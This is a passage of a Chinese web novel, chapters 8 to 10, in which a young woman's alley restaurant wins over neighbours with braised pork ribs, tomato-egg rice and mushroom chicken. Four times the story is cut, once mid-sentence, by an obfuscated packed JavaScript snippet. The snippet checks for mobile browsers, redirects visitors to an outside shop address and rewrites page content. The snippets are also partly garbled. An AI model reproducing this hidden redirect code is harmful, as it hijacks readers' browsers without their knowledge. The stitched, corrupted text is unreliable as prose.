夏雨低头啃着沾着辣椒的鸡爪，一脸的愉快放松。 “闺女，这鸡爪真有那么好吃？”夏母动摇了。 “非常美味，妈”，夏雨不亦乐乎啃着鸡爪，“我不骗你。” 要是能一边看电视一边啃鸡爪就更好了，她美滋滋地想。 夏母心想，闺女既然说好吃，她也尝个？ 夹起个肥点的鸡爪，不然没肉啃，凑近闻了下，没什么腥味，咬下去鸡爪上的肉，肉质非常紧实，但也很弹滑，浸满了汤汁香，吃起来很香。 吸了下鸡爪里汤汁，酸辣鲜香，各种滋味在嘴里绽开。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501323|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 夏母说不出话来，鸡爪的味道很丰富，当小孩子零嘴也很适合。 “妈，我没骗你吧？”一看她妈这样，夏雨笑眯眯道。 处理过后的鸡爪没有一点腥味，带着些冲鼻子的香辣，她饿得慌。 “不错”，夏母咂咂嘴。 凉拌鸡爪，鲜红的辣椒丁和白芝麻里，是软弹入味的鸡爪。 摆出来好看，吃着也不错。 夏母后悔刚才的话说早了，只觉得香辣酸涩的味道，要是配上米饭，更好吃了。 到最后，两人把鸡爪吃完，吃起盖浇饭来。 “哎呦，这换老板了就不一样，想当初来这家尝鸡爪，腥就算了还不入味，我觉得浪费了钱”，夏母感慨道。 鸡爪她不是没吃过，和现在的味道完全不一样！ 盖浇饭也可以，她们点的是番茄炒蛋盖浇饭。 软化鲜红的番茄块窝在金黄的鸡蛋上，快融成一团，唐玉放了葱花点缀，色泽鲜亮诱人，拿筷子搅拌的一瞬间，酸甜味钻进鼻子。 夏雨低头挑起块番茄。 嘴里涌上股酸甜的味道，夏雨再来了几口，番茄不是那种软嗒嗒的，软烂同时酱汁多。 再来口鸡蛋，鲜嫩饱满，显然很嫩。 虽然没有前面的凉拌鸡爪味道重，但又酸又甜，吃着很开胃，实在过瘾。 捣鼓着碗里的米饭，夏雨说，“番茄炒蛋还能这么做，长见识了！” 之前吃的番茄炒蛋哪有这味道！ 番茄炒蛋下面是米饭，搅拌几下，米饭沾上红色的酱汁，入口先是酸，后是甜，两者中和，很是美妙。 夏母安安静静吃着饭，这钱花得太值了！ 午饭过后，小孩帮忙收拾起碗筷，她稳重下来，端着叠碗筷，时刻注意看路，担心摔碎碗。 唐玉接过话，让小孩去玩或休息下，她尝了下做的凉拌鸡爪，还可以。 唐家饭馆就在家附近，一到饭点，飘来的饭菜总会叫王大爷好奇饭馆又有什么新菜了。 面前的鲫鱼豆腐汤看着都不香了。 王奶奶：“怎么不动筷？嫌我做的不好吃，想出去吃？” “老伴儿，我们晚上下馆子去吧？就巷子里的唐家饭馆，没多远。” “我看看情况”，王奶奶想了下，为了口腹之欲，她舍不得破费。 王大爷想起那天的黄瓜炒火腿盖浇饭，再看看面前的鲫鱼豆腐汤，卖相味道上都比不过！ 好不容易等到天黑，王大爷带王奶奶来唐家饭馆。 唐玉正好将煮好的萝卜汤端出来。 才开店没几天，店里客人就多了起来，小孩帮她招呼起客人。 ”老板，上次黄瓜炒火腿盖浇饭还有吗？”王大爷对它的味道念念不安，以至于做梦还念着这一口。 “有的，奶奶，你看吃点什么？” 王奶奶：“我就不和他一样了，给我来个番茄炒蛋盖浇饭。” “好的”，唐玉不忘提醒两人，“这是店里煮的萝卜汤，不收钱，碗在旁边可以舀汤。” 免费的东西，能是什么好东西！ 王大爷恍若没听到，找位置坐下。 而王奶奶正好渴了，拿碗盛了碗萝卜汤。 8. 第8章 家里不缺萝卜汤喝，王奶奶很兴奋，不过是好奇免费的萝卜汤什么味道。 揭开锅盖，萝卜汤清甜的气息顿时扑面而来，光闻着就让人有了食欲。 王大爷看了眼汤，“竟然放了不少萝卜……还有骨头肉？。” 该说不说丫头片子头脑还是简单了点，不要钱的汤大家抢着喝，还用料不少，这不亏本谁亏本啊。 想到这，王大爷叹了口气。 王奶奶有些怀疑老板是不是说错了话，不收钱的汤里有萝卜就算了，还放骨头熬煮。 外面卖水的都要花钱，何况一碗汤呢。 王奶奶还是决定尝下味道。 搭配骨头煮过，萝卜入口绵软且回甘，吸饱肉汁后，一口咬下去，除了萝卜自身的汁水，还带着股醇厚的肉香。 她以为吃不惯这味道，但萝卜实在甘甜，脆嫩多汁，而汤十分鲜香，透出清亮的白。 王奶奶觉得汤比萝卜还好吃，解渴不说，浓郁醇厚，喝的一干二净，仍有些意犹未尽。 “什么时候有饭吃？”王大爷问了句。 “要不你去盛碗萝卜汤喝，既能润喉还能填饱肚子。” “去盛就去盛碗，我正饿了。” 王大爷起身去盛萝卜汤，然后回来。 大小适中的萝卜纯白如玉，汤浓鲜亮，翠绿葱花飘在汤面。 看着好像还不错。 他捧着碗喝了口，顿时被清甜带着回甘的味道所睁大眼，能尝到汤很是鲜甜。 好喝！ 萝卜虽然软绵但不软烂，香气清冽，口感温润，而且不失脆感。 王大爷脸上露出满意的神色。 “老伴儿，这汤不错”，他告诉妻子。 王奶奶知道他没有夸张，等待起上菜。 “盖浇饭好了”，唐玉将两份盖浇饭端上来。 有了萝卜汤的惊艳，王奶奶期待起番茄炒蛋的味道。 她还在回味萝卜汤，毫不犹豫拿起筷子。 炒个家常菜对唐玉来说很简单。 番茄竟然是去皮的！沙沙的口感，酱汁酸甜，而鸡蛋很鲜，嫩而不腥，香味四溢。 唐玉在炒鸡蛋时，放了几滴醋，炒出来的鸡蛋蓬松柔软不少。 咀嚼间鸡蛋的鲜甜和番茄的酸甜融合的很好，越嚼口齿留香，让人回味无穷。 王奶奶尝了块鸡蛋，满意地点头。 王大爷不喜欢酸了吧唧的玩意，还是黄瓜炒火腿盖浇饭好吃。 他往嘴里塞着米饭，时不时抬头看王奶奶一眼。 香喷喷的饭菜锅气足，王大爷以前不喜欢菜和米饭搭在一起，认为会串味，米饭会变油。 然而在这道菜面前，米饭只会油润润，但不腻，来上口菜会很下饭。 两人年纪大了向来胃口不怎么好，但吃起盖浇饭，那叫一个津津有味。 路过的人看到，结果被馋到了，不知不觉走进饭馆。 王大爷随意抹了下嘴，开怀大笑道，“饱了。” “味道挺好，你找对店子了！”王奶奶难得夸了他一句，很是满意。 唐玉想在九月份前，赚个千把块，送小孩去上学。 夏天瓜果多且便宜，晚上唐玉把在菜市场买的葡萄洗了。 “嘿，酸酸的”，小孩吃了颗葡葡，小脸皱巴巴成一团。 唐玉塞了颗葡萄放嘴里，是挺酸的。 但上辈子每当她心情不好时，就爱吃些酸口的，比如酸梅。 最后大半葡萄进了唐玉肚子里。 第二天，唐玉被外面的动静吵醒，睡到五点多就睁开了眼。 她舍不得闹醒一边的小孩，轻手轻脚下床。 出去一看，原来是房东下来拿牛奶。 “姐，你这牛奶哪订的？”唐玉问。 “在城郊一个农场订的奶，我有农场主的联系方式，你要订奶的话，我帮你跟农场主说声”，房东说。 “姐，我想给可儿订下牛奶，补补身体”，唐玉认真想了下，小孩还是太瘦巴，身上没一点肉。 “那订牛奶的事包在我身上。” “麻烦姐了，钱到时候给你。” 逛完菜市场，唐玉就把今天的菜单确定好。 炒面，番茄炒蛋再加个豆角排骨盖浇饭！ 今天的排骨唐玉去的时候，正新鲜漂亮，她拿下近十斤排骨。 买好菜回到饭馆，然后把大米淘好。 唐玉切好排骨，下刀干脆利落，师傅曾夸过她刀功好。 接着下排骨焯水，撇去浮上来的血沫，八角和花椒等爆香炒排骨，等到排骨颜色变微黄，下土豆和豆角，香味在锅里爆开，加少许佐料，翻炒之后倒清水，没过食材即可。 为了入味，唐玉放了不少辣椒。 然后放些冰糖，盖上锅盖焖煮。计算着时间，唐玉去把米上锅煮。 掀开锅盖，锅里的深褐色的汤汁咕噜咕噜翻滚，带出浓郁的香味，再下土豆和豆角炖，在锅里软化入味。 唐玉拿来个干净的碗和双筷子，尝了下味，再让小孩尝了下。 小孩还在舔嘴，一脸高兴，“豆角好吃，土豆也好好吃，汤好喝。” 闻言，她放心了。 她们俩提前吃好午饭，然后等待起客人。 房东来的挺早，“小玉，今天做了什么好吃的？” “今天有豆角排骨，炒面和番茄炒蛋。” 就这个豆角排骨盖浇饭没尝过，房东迫不及待道，“来个豆角排骨。” 眼下是吃豆角的好时候，豆角排骨想来味道差不到哪去。 “今天有生意吗？” “还早，姐你是我们店第一单生意”，唐玉回了句。 房东打趣道，：“等下生意就多了起来，到时候你们可能忙都忙不过来。” 找到座位坐下，没等多久，唐玉端上来豆角排骨盖浇饭。 热气腾腾的豆角排骨，香气扑鼻而来。 酱色的排骨表面泛着油亮，豆角吸饱汤汁鼓鼓的，土豆看着很软糯。 用来拌米饭应该很不错！ 房东咽了下口水，拿起筷子先尝了下块排骨。咬下去的排骨软烂入味，汤汁流出来，嘴里尽是酱汁香气，吃着不柴也不腥。 而豆角炖的很软烂，咬下去爆汁，香辣尽在嘴中。 房东露出陶醉的神情，用勺子挖了勺米饭，米饭软糯香甜，沾上浓厚的酱汁后，很是入口。 连土豆都炖的软糯了，很粉的口感，咸鲜香辣，搭配米饭可香了。 夏海被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501324|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同事拉着过来下馆子，一到桂花巷，夏海赶紧道，“马上到我家了，要不去我家吃？” “去你家有什么乐趣，还是下馆子好”，同事想都没想拒绝了。 “诶，你有闻到什么味吗？”同事突然问。 夏海鼻子一动，“没……还真有一股香味。” 好像伴随着滋滋油声，他仿佛回到小时候，坐在漆黑的灶台边，妈妈做着饭…… 顺着香味找过去，这是一家饭馆，“还没来过，我们进去看看？” 两人一前一后进了饭馆。 “这店里有什么菜？”同事问了句，走过去看小黑板。 “豆角排骨，说实话我还没吃过豆角排骨呢”，夏海眼前一亮。 “那咱们都要豆角排骨盖浇饭。” 其他几桌客人一脸满足，吸引了两人的目光。 “这家饭馆的老板是个年轻姑娘，看着不靠谱啊”，同事嘀咕了句。 听到这话，夏海心里有了不好的预感。 只希望豆角排骨千万不要难吃。 很快端上来豆角排骨，别说看着很有食欲。 但夏海还是降低期待。 碗里的豆角排骨是那种软软糯糯，酱香味浓的，排骨上瘦肉紧实，豆角软烂，土豆粉糯，一筷子夹起一大筷豆角，上面挂满了浓郁的酱汁，一口下去，既有蔬菜的清香又有淡淡的肉香，好吃的很。 “是我想错了，这家的豆角排骨太香了！”如果他每天能吃到豆角排骨，该有多么好。 “真的好吃！”同事认可地点点头。 土豆炖的很软糯入味，吸饱汤汁，排骨酥嫩不柴，带着十足的酱香，豆角满是酱汁的香辣气，很是开胃。 “这排骨怎么炖的这么妙？”同事用夸张的语气道，“软嫩不柴，很容易脱骨，我都担心饭不够吃！” 厨房，唐玉抡铁锅就没有停下来过。 到后面火越来越小，直到熄灭。 她正疑惑怎么回事，外面传来吵闹声。 “老板，我要的盖浇饭什么时候好？”有客人等的不耐烦了。 唐玉抱歉道，“不好意思，灶火熄了，暂时炒不了菜，我给你们退钱。” 退完钱后，她再去看灶火为什么熄了。 “不用了老板，你先去弄灶吧，我们明天过来吃”，大多数客人很善解人意，摆摆手不用退钱。 桂花巷好不容易开家饭馆，价格味道都说的过去，真想让老板一直开下去。 “老板，我来帮你看看吧”，吃饱的夏海站出来。 “好。” “老板，你家煤气罐没气了”，夏海检查一番后，对唐玉说。 “谢谢啊。” 店里煤气罐能用四到五天，唐玉去熟人买煤气罐。 因为是熟人，对方没收押金，只收了三罐煤气的钱，一共六十。 唐玉没用过煤气灶，托熟人帮忙安装的。 “师傅，气换好了喝点水吧。” 她在一边默默学习，下次自己能换煤气罐了。 唐可儿在桌边练字。 送熟人离开，唐玉也累了，“可儿，我们休息会儿。” 唐可儿揉了下发酸的眼睛，点头。 两人趴在桌子上睡起来。 9. 第9章 这边夏海打包了份豆角排骨回家。 “妈，你还没吃饭吧？” 夏母和几个牌友在院子里搓麻将。 她吃饭一向吃的晚，至少要等到搓完麻将。 “没吃呢，小海。” “给你带了份豆角排骨盖浇饭，赶紧趁热吃。” 夏海把豆角排骨放到她手边。 有牌友说，“夏姐，你这个儿子够体贴你，知道你没吃饭，打包了饭菜回来。” “小海，这盖浇饭你哪买的？上次的店的吗？”夏母好奇道。 “不是，我们巷子的这家饭馆。” 原本不抱希望的夏母顿时麻将不打了。 对着几个牌友说，“我先吃个饭，一会儿咱们继续。” 几个牌友心知肚明，夏母分明是被巷子里这家饭馆的味道征服了。 夏母赶紧揭开盒饭盖。 面前是块块劲瘦的排骨，翠绿软嫩的豆角，淡黄软糯的土豆，底下是深褐色的汤汁。 很香。 夏母深呼吸一口气，感慨了句。 她用筷子夹起撮豆角，慢悠悠吃起来。 豆角夏母还是吃过很多次，要不太嫩到味道有点寡淡，要不硬邦邦到不入味。 但这碗里的豆角吸饱汤汁后，软嫩的豆角她一咬开就断，独有的蔬菜香气与浓郁的酱汁香挥洒尽舌头，鲜美又不失香辣。 “这豆角排骨怎么样？夏姐”，旁边的几个牌友被香味馋得看直了眼。 “香喷喷极了，很入味”，夏母飞快道。 “夏姐，要不我们先回去吃饭了？”有牌友受不了了问，她也要去唐家饭馆。 “行吧，下次我们再一起玩”，夏母目光始终停留在豆角排骨上。 她夹起菜一口接着一口，不知不觉没怎么咀嚼，就把吞咽下了菜。 没一会儿，碗里的排骨快见底了，连豆角都没剩多少，但汤还有不少。 夏母去拿了个勺子，舀了勺汤浇在米饭上。 拌着米饭吃味道很丰富，吃完一碗盖浇饭，夏母后背冒出薄薄的汗，却有种舒爽放松感。 夏母下意识摸了摸鼓起来的肚子。 很久没有这么过瘾满足了，见夏海出来，“小海，你这豆角排骨买的好！” 脑海里浮现出瘦弱年轻的老板身影，再三佩服起她的厨艺。 “妈，你全吃完了？跟我和那个同事一样，担心还不够吃！”夏海毫不意外道。 下午，唐玉给店里来了个大扫除，窗户她都没放过，擦的很干净。 菜市场买的土豆还剩不少。 唐玉拿来练手，切土豆丝，泡在盆里，快有一盆。 “姐姐，这些土豆丝怎么办？”小孩指着土豆丝，奶声奶气道。 “晚上我们吃酸辣土豆丝好不好？”这次做好了，明天可以在小黑板加上去。 “好~”小孩拍了拍手，兴奋道。 她觉得姐姐做的菜菜都很好吃！ 店里这口锅不是很大，每次炒菜最多炒三份，换了煤气罐后，火候旺起来，炒起来很爽。 唐玉先把热锅加热，看火候一到，立刻倒油，下盆里的土豆丝。 几次翻炒过后，土豆丝慢慢软化，加盐倒白醋。 辣椒放后面，小孩吃不了辣，唐玉没放什么辣椒。 酸酸辣辣的味道当即钻进鼻腔。 唐可儿在旁边吸溜着口水，好香啊！ 一锅黄灿灿的酸辣土豆丝出锅，唐玉用来盘子盛。 小孩去拿碗筷，盛好米饭。” “吃饭了”，她说。 加上豆角排骨，便是两人的午饭。这段时间可能辛苦到了，小孩的胃口都变好不少。 咀嚼着香软的米饭，腮帮子鼓起来。 土豆丝表面泛着诱人油光，酸辣味浓重。 唐玉敞开肚子吃，浇勺汤汁拌起米饭，很快吃得满嘴流油。 土豆丝很脆口不失酸辣，小孩吃的还打了个饱嗝。 王大爷一早和好友下完棋，一直惦记着盖浇饭，想吃黄瓜炒火腿，担心没人陪，喊上周大爷和他一起去。 看到老板在店里忙碌，还有小孩在帮忙，王大爷上前道，“黄瓜炒火腿盖浇饭还有吗？” 这个点来，黄瓜炒火腿盖浇饭不会卖光了吧？ 唐玉：“今天店里没准备黄瓜炒火腿盖浇饭。”她在菜市场这两天没买到新鲜的黄瓜。 “可以看下吃点其他的。” 闻言，王大爷重重叹了口气，想转身就走。 还是周大爷劝道，“既然来都来了，哪有白来的道理，我们看下菜单。” “老王，这豆角排骨看着还可以”，过来时，他看到客人桌上有这道菜，份量不用说，那黏糊浓稠的酱汁想来挺下饭。 王大爷想着没吃过，好歹要尝一回。 大手一挥，“老板，给我们来两份豆角排骨。” 王大爷两人坐下，隔壁桌客人脸都快埋进饭碗里，如陶如醉的神情叫他们有些恍惚，他们吃饭的时候也不会这样吧？ 唐玉回到厨房，才发现豆角没多久了，一天卖出去几十份，她在菜市场买的豆角少了。 本想给客人退钱，但看锅里还有些酸辣土豆丝，于是她加了不少土豆丝搭在米饭上，和豆角排骨一起给客人送去。 排骨的肉香裹着浓浓的豆角清香，瞬间席卷整个屋子，碗里的酱汁深褐色，很是浓郁。 周大爷拿起筷子夹起块排骨，十分享受地眯了眯眼。 咬下排骨上紧实的肉，很软嫩，嘴里不断发出惊叹声。 王大爷被他弄出来的动静皱眉，闻到扑鼻的香气，犹豫了下才拿起筷子。 当浓郁的汤汁划过舌头，特有的香辣气在嘴里散开，带着些肉香。轻轻抿下骨头，能尝到扎实鲜嫩的瘦肉，顿时缓解了他一下午的疲累，大脑不由放松下来。 王大爷睁大眼睛，不错。 一句“好吃”就要脱口而出。 但他忍住了，豆角和土豆还没吃呢。 豆角沾满了汤汁，清香之外还有股咸香，土豆很糯口，香味尽数充斥在舌尖。 王大爷没怎么咀嚼几下，就已经说不出话来。 排骨的鲜嫩，豆角的清脆，土豆的软糯，汇聚而成一股奇妙的味道，化成丰富的口感。 看了眼底下的米饭，这点饭可能不够浇汤汁。 周大爷大口大口吃起来，他年纪大了牙口不好，但现在哪管那么多。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501325|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 一心沉浸在美味开胃的豆角排骨里。 以往吃几块肉总容易腻，但这排骨处理的好，尝不到一点腥味，而且吃着不柴，咬下去有丰润的汁水爆出来。 此时店里客人不少，唐玉恨不得能一心二用，大多是前几天攒下来的回头客，当然好奇的路人也有。 他们抻脖子站在门口，往里面看。 闻到一股饭香味，兴趣上来，都想尝尝味道。 “老板，一份盖浇饭怎么卖？” “炒面一份多少钱？” “黑板上有菜单自己看”，唐玉忙得晕头转向。 她还有几份盖浇饭还没做，又来了客人！ 进来的路人听说过这家饭馆，份量够大人吃饱，价格也实惠不贵，就是味道很一般。 平平无奇的家常菜，让人挑不出错。但吃过一次不会再来了。 成柯混在人群中，他是附近高中的学生。 在学校写完作业，见天黑了肚子饿的很，拉着同学过来下馆子。 “成柯，我们在这家吃了？”后面的薛梧背着书包问。 他嫌这家店灯光不明亮，不够大，看着也不是很干净的样子。 “我们先找个地方坐下来，放好书包去点菜”，成柯说。 空气里始终有股浓浓的饭菜香，莫名让人觉得很心安温馨。 “番茄炒蛋酸酸甜甜不要，炒面油乎乎的，那我们只能点豆角排骨了”，薛梧看完菜单说。 学校里，也就女生会喜欢吃番茄炒蛋。 “那我们都点份豆角排骨盖浇饭，你去跟老板说下”，成柯想过要不要点番茄炒蛋，一听他这话，打消了心里的想法。 “什么，豆角排骨盖浇饭没有了？”薛梧吃惊道。 唐玉很是抱歉，今天她失算了，没想到豆角排骨卖这么好，晚上六点不到卖完了。 “所以店里只有炒面和番茄炒蛋盖浇饭了？”薛梧很是心累道。 “对的，只有这些了。” “老板，给我来份番茄炒蛋”，成柯看薛梧始终没搞定，走过来道。 “你要点番茄炒蛋？我干脆回家吃好了！”薛梧有些不可置信看了眼兄弟。 “等下那你就看着我吃吧”，成柯笑了。 “兄弟，你作业拿来，给我看看。” 薛梧正好还不饿，两手一摊向成柯讨要作业后，迅速写起作业来。 “哥哥，你是在写作业？”唐可儿走过去问。 “对啊”，突然被打断薛梧很是不耐烦。 结果一看到小孩懵懂纯真的脸，好可爱，瞬间说不出话来。 “小妹妹，你上学了吗？读几年级？”成柯正好无聊，问起小孩。 “哥哥，我还没上学的”，唐可儿摸着自己脑袋道，头顶两个小揪揪动了动。 “我姐姐是饭馆的老板哦”，随后小孩很自豪道。 姐姐努力赚钱就是为了让她读书，她不能拖后腿。 “那你姐姐可真厉害！”薛梧难得觉得小孩这么可爱，冲她竖起大拇指。 引得唐可儿嘿嘿地笑。 这时唐玉端着番茄炒蛋盖浇饭出来，“你的盖浇饭好了。” “谢谢！”成柯看着唐玉很认真道。 10. 第10章 老板看着和他差不多大，却要养家不容易。 “可儿，在跟两个哥哥说什么？”唐玉蹲下来问小孩。 小孩很是害羞地走开。 薛梧是个话痨，根本藏不住一点话，“老板，你妹妹问我们读书的事呢。” “我知道了，谢谢”，很快就要开学了，她要赶紧赚钱给小孩交学费。 成柯注意到老板落寞的眼神，对好友说，“以后我们要下馆子，都来这家饭馆吃吧。” “要来你一个人来吧，我可不天天来”，薛桐不乐意道。 这家店菜品少，根本没有他喜欢吃的。 成柯有些无语，不好对好友发作。 只好把注意力放到面前的盖浇饭上。 油亮诱人的排骨，清香翠嫩的豆角，软糯香辣的土豆，搭配在一块看着还不错。 隔壁的小孩都被馋哭了。 小孩和唐可儿一样，马上要上小学。闻见饭馆飘出来的饭菜香味，吵着嚷着要吃。 小孩妈没有一点办法，找过来，“老板你家饭菜真香，孩子吵着想要吃。” “番茄炒蛋盖浇饭能吃吗？”唐玉问。 “能吃的。” “你等我下”，唐玉去厨房将锅里的番茄炒蛋盛出来，然后打包好。 “就剩这么点了，你拿回去给你家孩子尝尝。” 孩子妈当即要付钱，唐玉拦住她，“本来就没多少了，还付钱干什么，你拿回去如果你孩子爱吃，以后多带你孩子来我店里就行了。” “太谢谢了”，女人很是感激。 成柯收回目光，这家店老板人还不错。 软化的番茄口感沙沙的，又酸又甜，而鸡蛋鲜嫩可口，没有一点腥味。 难怪学校里那么多女生爱吃，不难理解了。 “不是兄弟，你吃这么香？”薛梧皱起眉。 “你是在羡慕我吗？”成柯大口吃起饭，调侃了句。 闻着冲鼻子的酸甜味，薛梧忍不住咽口水。 炒过后的番茄和鸡蛋融成一团，金灿灿的鸡蛋沾上鲜红的酱汁，色泽上鲜亮诱人。 也就摆出来好看，薛梧心想道。 成柯懒得管好友在想什么，番茄炒蛋的酸甜味有些让人上头，味道醇厚。 到最后，成柯连米饭都吃光了。 薛梧却心情有些不好，闷闷不乐道，“看来你真是饿了。” “饿是真饿了，但菜是真好吃！”成柯淡淡回了句。 可把薛梧差点气晕，下次他一个人过来吃。 跟米饭拌在一起的番茄炒蛋，那浅红的酱汁紧紧裹着每一粒米饭，油光十足，来上一口，回想起那滋味，才吃饱的成柯快要流口水了。 锁好门，唐玉两人快九点才到家。 “姐姐，可儿先去睡了，好困~”小孩努力睁开眼睛说。 “去吧。” 唐玉拿出纸和笔，再从包里将今天收的零钱收拾下。 进账减去各种开支，她赚了有一百一十。 不过今天买煤气罐花去了钱，相当于没赚什么钱。 然后唐玉才去洗漱。 又是晴朗的一天。 翌日，唐玉习惯性六点多起来，去客厅喝了杯水。 身后传来脚步声，原来是小孩醒了。 “姐姐，你起来好早，早上我们吃什么？”唐可儿揉着眼睛道。 “皮蛋瘦肉粥，可儿再去睡会儿觉，姐姐做好了叫你”，唐玉低头对小孩说。 大米她昨晚就淘好了，拿来几个皮蛋，去皮洗净，先切片然后切丁，再把瘦肉切成丝。 锅里倒水，开火烧滚，唐玉放进淘净的大米，葱和姜沫炖。用另一个锅下肉丁焯水。 焯过的瘦肉丁放进锅里，和大米一起炖，然后加皮蛋，盐和胡椒粉，炖一阵出锅。 唐玉舀起口汤尝了下味，不咸不淡，味道刚刚好。 皮蛋单吃有股腥味，用来熬粥最好不过。 就是米偏硬了点，还不够香。 房间里，睡迷糊的唐可儿眼睛还没睁开，鼻子动起来。 “可儿，起来喝粥了，姐姐等下要去菜市场”，唐玉进来叫小孩。 唐可儿有起床气，但听到喝粥，还是艰难从床上爬起来。 皮蛋瘦肉粥带着浓浓的肉香，又有皮蛋特有的味道。唐玉放了点葱花，增添食物香气。 唐可儿没喝过这样的粥，有些激动。 热乎乎的粥自带一股米香。 唐可儿小口喝起来，入口的粥绵软香甜，那鲜味直扑鼻腔，皮蛋鲜滑，爽弹的很，而里面瘦肉鲜嫩。 “哇，姐姐做的粥粥好吃！”小孩眼里带着光芒道。 “烫不烫？可儿”，唐玉看她吃那么快，会被烫到。 “不烫的”，唐可儿摇摇头，接着扒拉起碗里的粥。 很快就要添第二碗粥，唐玉叮嘱道，“要是吃饱了就别吃了，否则到时候吃撑了肚子痛。” “可儿知道。” 浓浓的粥下肚，好温暖舒服，小孩睁大了眼睛。 唐玉收拾好一切，去菜市场。 她本来想买些青菜，但不知不觉走到了鸡肉摊。 她上前挑选起鸡肉，瘦小的摊主眼睛一转，“姑娘，鸡肉十块一斤。” 唐玉顿时放下手，“我不要了！” 这摊主看她年轻，抬高价格骗人呢。 她去另一家阿婆摊前，阿婆淡定瞥了唐玉眼。 “阿婆，这几只鸡我都要了！”唐玉指了下几只肥美肉多的鸡。 闻言，阿婆一下从椅子上起来。 “鸡肉你买的多，我算你三块六一斤”，话落，阿婆称起鸡肉来。 唐玉又去隔壁档口买了些干香茹。 从菜市场回来，唐玉把杀好的鸡洗净，改刀切小块，凉水下锅焯水。 而干香菇去蒂后用热水泡发。 买回来的香料备好，油锅下香料，焯过水的鸡肉下锅炒，然后放些香菇，一起爆炒。 唐玉把握着火候时间，炒出来的鸡肉才不会柴干巴。 热气冒出来，鸡肉与香菇的鲜香扑面而来，底下是层浅酱色的汤汁，唐玉后面放了些大蒜叶，卖相可观。 房东无意经过唐家饭馆，这香味……让她走不动路。 唐可儿忍着口水，吹了几口气，吃起姐姐夹过来的鸡肉。 鸡肉又嫩又香，咀嚼起来可香了！ “吃什么好吃的呢？小玉”，房东一路走过来问。 “姐你来的正好，我做了香菇鸡”，唐玉发现是房东，笑眯眯道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17501326|202751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “不知道我有没有这个口福，尝一下？”房东小心问道，她来对时候了。 “当然能。” 房东看了眼锅里的香菇鸡，嘴里的唾沫不断分泌，有些被馋哭了。 唐玉给她盛了碗饭，房东接过，径直走向锅边。 等夹了块香菇和鸡肉到碗里，扒拉起饭来。 鸡肉吃着既有肉香又有股酱香，炒出来锅气很足，不柴也不腻，香菇很鲜美，吸饱了底下的汤汁，吃的很过瘾。 房东问过唐玉，添了勺她望眼欲穿的汤汁到米饭上。 酱色的汤汁裹着米饭，吃起来不会油，米饭很是香甜。 不一会儿，房东满嘴油光。 唐玉去外面写上今天的菜单。 房东出来，一看墙上的挂钟，不过才十点。 “小玉，多谢了，我连午饭不用吃了。” “一份香菇鸡多少钱？”房东又问。 “姐，我请你吃，不用钱”，唐玉转身立马回道。 房东二话不说塞了十块钱到她手里，“小玉，我不能占你的便宜，再说你做的香菇鸡很美味！” 十一点左右，店里陆陆续续来了客人。 “老板，是做了什么那么香？”客人一来，都会问道。 “今天有新品香菇鸡”，每次唐玉都会回句。 “那来份香菇鸡，对了放辣点”，混在人群中的夏雨赶紧说。 唐玉对小姑娘有印象，等客人点了餐，她让小孩在前面看下，回到厨房。 今天的香菇鸡实在香，夏雨恨不得跑到厨房去，看老板做菜。 刚出锅的香菇鸡热气腾腾，唐玉顾不得烫，立马给客人端去。 香菇鸡的香味窜出来，嫩滑的鸡肉配上乌黑发亮的香菇片散发着诱人的色泽！ 夏雨一下胃口大开，迫不及待拿起筷子。 她夹起块鸡肉，鸡肉很嫩，稍微一抿入口即化，香茹则是滑软爽口，自带股香气。 这鸡肉可比扣肉要好吃的多，不容易腻，而且嫩滑多汁。 夏雨又把底下的汤浇到米饭上。 香菇鸡没动几口，米饭就吃了大半。 她跑去添饭，小女孩给她盛的米饭。 “姐姐要多多吃饭哦”，唐可儿眉眼弯弯道。 “你真可爱！”夏雨忍不住夸了句小女孩。 香菇鸡相当下饭，想着要克制，夏雨却停不下来。 吃太快噎着了，跑去小卖铺买瓶橘子汽水。 香辣爽口的香菇鸡配上橘子汽水，滋味别提多过瘾了！ 其他客人扒拉着饭菜，“好吃好吃，幸亏我找到了这家店！不然错过这家的香菇鸡，肠子都要后悔了！” 